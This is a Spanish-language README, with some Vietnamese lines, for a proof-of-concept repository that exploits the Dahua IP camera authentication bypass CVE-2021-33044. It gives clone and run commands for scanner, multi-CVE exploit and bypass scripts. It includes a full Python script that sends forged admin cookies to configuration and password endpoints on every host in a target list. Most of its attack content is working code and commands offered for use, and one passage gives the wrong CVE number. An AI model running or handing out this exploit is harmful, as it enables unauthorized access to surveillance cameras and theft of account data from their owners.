
Exploit PoC para la omisión de autenticación de Dahua (CVE-2021-33044). Escanea subredes, prueba múltiples CVEs y vuelca configuraciones de dispositivos mediante cookies manipuladas sin credenciales válidas.
Las cámaras IP Dahua son dispositivos IoT ampliamente utilizados en sistemas de vigilancia de seguridad. Debido a que se implementan con frecuencia en redes internas o se accede desde Internet, las vulnerabilidades de seguridad en las cámaras IP pueden afectar gravemente la privacidad y la seguridad de la información.
CVE-2021-33045 es una vulnerabilidad de seguridad que existe en algunas líneas de cámaras Dahua, que permite el acceso no autorizado a recursos de configuración internos sin autenticación válida. Esta vulnerabilidad se origina en un mecanismo de control de acceso débil en el firmware del dispositivo.
| Elemento | Contenido |
|---|---|
| CVE | CVE-2021-33044 |
| Tipo | Authentication Bypass |
| Gravedad | Critical (CVSS ~9.8) |
| Auth | No requiere autenticación |
| Afecta | Dahua Camera / DVR / NVR |
La vulnerabilidad se origina en un diseño de autenticación inseguro en el firmware de las cámaras Dahua:
Esto permite a un atacante:
Referencias:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Puertos comunes de Dahua: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
El script utiliza la biblioteca requests y desactiva explícitamente las advertencias SSL para deshabilitar las alertas SSL
La función dump_accounts(ip, port=80) es la función principal encargada de verificar un dispositivo de cámara.
Las funciones principales de la función son:
Simulación de cookies de autenticación. La función utiliza valores de cookie como:
userName=adminuserLevel=1sessionID=00000000En las versiones de cámara afectadas, el backend no verifica el sessionID real, lo que lleva a que el sistema crea que la solicitud proviene de una cuenta de administrador válida.
El script lee la lista de objetivos de un archivo de entrada, llamando a la función de verificación para cada dispositivo. Este enfoque permite evaluar múltiples cámaras de forma automatizada.
Estos scripts se desarrollaron basándose en:
Estado de pruebas:
Este proyecto:
| Archivo | Propósito | CVEs |
|---|
dahua_scanner.py | Descubrimiento de red — encontrar cámaras Dahua en la subred | Detección |
dahua_exploit.py | Herramienta de escaneo Multi-CVE — comprobar todas las vulnerabilidades de seguridad. | Todas |
dahua_auth_bypass.py | Omisión de autenticación dedicada con opción --dump | CVE-2021-33044 |